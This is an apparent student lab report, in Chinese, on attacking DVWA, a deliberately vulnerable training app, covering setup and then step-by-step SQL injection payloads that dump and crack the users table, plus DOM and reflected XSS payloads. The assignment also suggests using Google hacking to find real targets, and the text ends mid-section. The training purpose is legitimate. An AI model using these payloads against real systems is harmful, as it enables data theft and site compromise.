典型Web攻击(网络空间安全实训)
典型****Web攻擊
1.實驗內容與環境
1.1實驗內容
SQL注入、XSS、CSRF、文件上傳、目錄遍歷(SQL注入必做,其它四選一)??梢曰谌缦聦嶒灜h境,也可以百度“實驗樓”等實驗環境,或采用google hacking方式在網上找“合適的”目標系統(適可而止)。SQL注入若只是“萬能鑰匙”方式登錄目標系統,則成績為及格,適當進一步攻擊(可以借助啊D等工具),則可獲中等及以上成績,最高境界是SQL注入至獲取數據庫表內容。
1.2實驗環境
操作系統:Windows10
CPU:I7-8450H
內存:8G
1.3實驗平臺
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。
DVWA共有十個模塊,分別是:
1.Brute Force(暴力(破解))
2.Command Injection(命令行注入)
3.CSRF(跨站請求偽造)
4.File Inclusion(文件包含)
5.File Upload(文件上傳)
6.Insecure CAPTCHA (不安全的驗證碼)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站腳本)
10.XSS(Stored)(存儲型跨站腳本)
1.4實驗環境配置
*1.4.1下載并安裝XAMPP*
XAMPP(Apache+MySQL+PHP+PERL)是一個功能強大的建站集成軟件包,包含 MySQL、PHP 和 Perl 的 Apache 發行版。由于DVWA是基于PHP/MySQL環境開發的,而單獨下載配置PHP/MySQL環境比較繁瑣,因此可以通過下載安裝XAMPP集成軟件來搭建PHP/MySQL環境,下面介紹XAMPP在Windows下的下載和安裝。
首先在XAMPP官網(https://www.apachefriends.org/download.html)下載適合自己系統版本的安裝包,如下圖所示
下載完成之后雙擊進行安裝,安裝界面如下所示,一直點擊NEXT就可以。
打開XAMPP Control panel選擇自己相應需要的服務點擊star就可以
在DVWA的官網(http://www.dvwa.co.uk/)下載DVWA的安裝包,下載得到的是一個壓縮包,將壓縮包解壓至xampp的安裝目錄下的htdocs文件夾下,并將解壓后的文件夾重命名為DVWA,結果如下所示
然后進入DVWA文件夾,將DVWA\config目錄下的配置文件去掉.dist后綴名,編輯config.inc.php文件,如下圖所示
由于剛開始實驗不知道啟動哪個,就全部啟動了一遍
然后進入瀏覽器搜索localhost/dvwa進入配置界面,首先要把上面所有的紅色disabled全部全程綠色的,然后才能點擊create/Reset Datebase
點擊XAMPP Control Panel的Apache的config進行配置
之后如果還報錯,需要修改權限,可以登錄http://localhost/phpmyadmin
之后點擊Create就可以成功了
*登陸賬號是:admin 密碼是:password*
2.SQL注入實驗
2.1low
源碼解析
isset()函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false
$_REQUEST用來收集HTML表單提交的數據,點擊‘submit’按鈕提交表單數據
query變量為直接構造的sql查詢語句,沒有對用戶的輸入進行任何的過濾,導致sql注入的存在。
result通過mysqli_query()函數獲取數據庫查詢的結果集。die()函數表示連接數據庫失敗退出當前腳本。$GLOBALS["___mysqli_ston"]表示數據庫的連接語句
mysqli_fetch_assoc($result)從結果集中取出一行作為關聯數組,即列名和值對應的鍵值對。
最后通過while判斷若有查詢結果且循環執行$row = mysqli_fetch_assoc( $result ),將結果集中每行結果對應的字段值賦值給相應的字段,并遍歷輸出。
mysqli_close() 函數關閉先前打開的數據庫連接。
$GLOBALS["___mysqli_ston"]表示數據庫的連接語句
被包圍在
標簽 元素中的文本通常會保留空格和換行符。而文本也會呈現為等寬字體。or (x or y)如果 x和 y有且僅有一個為 true,則返回 true
輸入1時,有回顯,是正常的
*2.1.1********判斷是否存在注入及注入類型*
在User ID中輸入1,點擊Submit查看結果
一直輸入1-5是正常顯示的,6是沒有提示,說明沒有第六個用戶
判斷是否存在注入點
首先輸入“1 and 1=1”,查詢成功
當輸入“1 and 1=2”的時候,查詢成功
由上圖可知查詢仍然成功,故不存在數字型注入點。
下面判斷是否存在字符型注入點,在User ID中輸入1’and ‘1’=’1并點擊Submit
查看結果是正常的
可以看出返回正常的查詢結果,接著在User ID中輸入1’and ‘1’=’2并點擊Submit,查看結果,這個地方與老師給的學長的實驗報告測試不符合,可能是因為自己環境版本不一樣或者數據更新了。
User ID中輸入1’and ‘1’=’1’并點擊Submit
*2.1.2********SQL查詢語句中的字段數*
使用命令:1’ or 1=1 order by 1 # 、 1’ or 1=1 order by 2 # 、1’ or 1=1 order by 3 # ,查詢成功。#是注釋符號
當輸入“1’ or 1=1 order by 1 #”時,查詢成功
輸入1’ or 1=1 order by 2 #,查詢成功
當輸入1’ or 1=1 order by 3#,查詢失敗
由上面的結果可以得知執行的SQL查詢語句中只有兩個字段,即這里的First name、Surname。
*2.1.3********確定顯示的字段順序*
在User ID中輸入1’ union select 1,2 #,點擊Submit,查詢結果如下所示:
上圖的結果說明執行的SQL語句為select First name,Surname from 表 where ID=’id’…
*2.1.4********獲取數據庫名稱、用戶*
在User ID中輸入1’ union select 1,database() #,點擊Submit,查詢結果如下所示:
上述結果說明當前使用的數據庫為dvwa
*2.1.5獲取數據庫中的表*
在User ID中輸入1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,點擊Submit,查詢結果如下所示:
上述結果說明數據庫dvwa中一共有兩個表,分別為guestbook與users
*2.1.6********獲取表中的字段名*
在User ID中輸入1’union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #,點擊Submit,查詢結果如下所示:
一共有8個字段:user_id, first_name, last_name, user,password, avatar, last_login, failed_login
*2.1.7********獲取數據*
在User ID中輸入1’or 1=1 union select group_concat(user_id,
first_name,last_name),group_concat(password) from users #,點擊Submit
查詢結果如下所示:
猜測密碼MD5加密處理,所以找了一個在線MD5解密網站進行解密
解密賬號與密碼對應:
| 1 | password |
| 2 | abc123 |
| 3 | charley |
| 4 | letmein |
| 5 | password |
2.2MEDIUM
源代碼解析:
Medium級別的代碼利用mysql_real_escape_string函數對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
$_POST接受表單以POST方式傳遞過來的變量
mysqli_real_escape_string() 函數轉義在 SQL 語句中使用的字符串中的特殊字符。
mysqli_error() 函數返回最近調用函數的最后一個錯誤描述。
is_object() 函數用于檢測變量是否是一個對象。如果指定變量為對象,則返回 TRUE,否則返回 FALSE。
$_mysqli_res可能是其中的一個定義,有可能是res=result
mysqli_connect_error() 函數返回上一次連接錯誤的錯誤描述。
*2.2.1********判斷是否存在注入點*
使用burpsuite抓包來進行演練,因為設計到主機的IP地址所以圖片進行打碼操作,害怕被攻擊抓包更改參數id為1’ or 1=1 #,查詢報錯:
修改抓包參數id為1 or 1=1 #,查詢成功:
說明存在數字型注入。(由于是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因為數字型注入并不需要借助引號)
*2.2.2********查詢sql查詢語句中的字段數*
抓包更改參數id為1 order by 2 #,查詢成功
抓包更改參數id為1 order by 3 #,查詢報錯:
說明執行的sql查詢語句中只有兩個字段,即這里的First name、Surname
*2.2.3********確定顯示的字段順序*
抓包更改參數id為1 union select 1,2 #,查詢成功:
*2.2.4********獲取當前數據庫*
抓包更改參數id為1 union select 1,database() #,查詢成功:
說明當前的數據庫為dvwa
*2.2.5********獲取數據庫中的表*
抓包更改參數id:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查詢成功:
說明數據庫dvwa中一共有兩個表,guestbook與users
*2.2.6********爆出數據*
抓包修改參數:
id為1 or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password) from users #,該操作依然需要MD5進行解密,查詢成功:
這里就爆出users表中所有的用戶的user_id,first_name,last_name,password的數據。
*2.3High*
$_SESSION 存儲和取回 session 變量的正確方法是使用 PHP $_SESSION 變量
LIMIT 1 limit N:返回N條記錄
is_null() 函數用于檢測變量是否為 NULL。如果指定變量為 NULL,則返回 TRUE,否則返回 FALSE。
*2.3.1********漏洞利用*
抓包更改參數: id1’ or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password) from users #
該操作依然需要MD5解密
查詢成功:
需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入
2.4Impossible
**3.**XSS(DOM)
Dom型XSS是一種XSS攻擊,其中攻擊的代碼是由于受害者瀏覽器頁面的DOM樹而執行的特殊的地方就是代碼攻擊(payload)
在瀏覽器本地修改Dom樹而執行,并不會將payload上傳到服務器,這也使得DOM型XSS比較難以檢測
3.1****Low
簡單難度沒有參數過濾,直接修改下拉框上傳參數的值
源碼解析:
default=<script>alert(/xxx/)</script>3.2MEDIUM**:**
medium級別的代碼先檢查了default參數是否為空,如果不為空則將default等于獲取到的default值。這里還使用了stripos 用于檢測default值中是否有 <script,如果有的話,則將 default=English
過濾了
閉合標簽構造xss事件
3.3High
high級別的代碼先判斷defalut值是否為空,如果不為空的話,再用switch語句進行匹配,如果匹配成功,則插入case字段的相應值,如果不匹配,則插入的是默認的值。這樣的話,我們的語句就沒有可能插入到頁面中了。
查看服務器端源代碼
default=只允許是French、English、German、Spanish、這幾個通過。(采用了白名單過濾)
方法:
default=English#</option></select><imgsrc=""nerrοr=alert(/xss/)></option>3.4****Imposs
**4.**XSS Flected
xss也是一種注入攻擊,當web應用對用戶輸入過濾不嚴格,攻擊者寫入惡意的腳本代碼(HTML、JavaScript)到網頁中時,如果用戶訪問了含有惡意代碼的頁面,惡意腳本就會被瀏覽器解析執行導致用戶被攻擊。
4.1low
可以看到系統直接使用了name參數,沒有做任何過濾
<script>alert(/xxx/)</script>4.2MEDIUM**:**
元素可定義預格式化的文本。被包圍在 pre 元素中的文本通常會保留空格和換行符。而文本也會呈現為等寬字體。可以看到,medium級別的代碼只是在low級別上增加了對于的過濾,并沒有什么卵用,我們可以直接大寫繞過.
源碼解析:
使用了str_replace來把
方法一:<sc
方法二:
總結
以上是生活随笔為你收集整理的典型Web攻击(网络空间安全实训)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: OpenGL——GPU图形渲染管线
- 下一篇: PK!一个优秀程序员的自我修养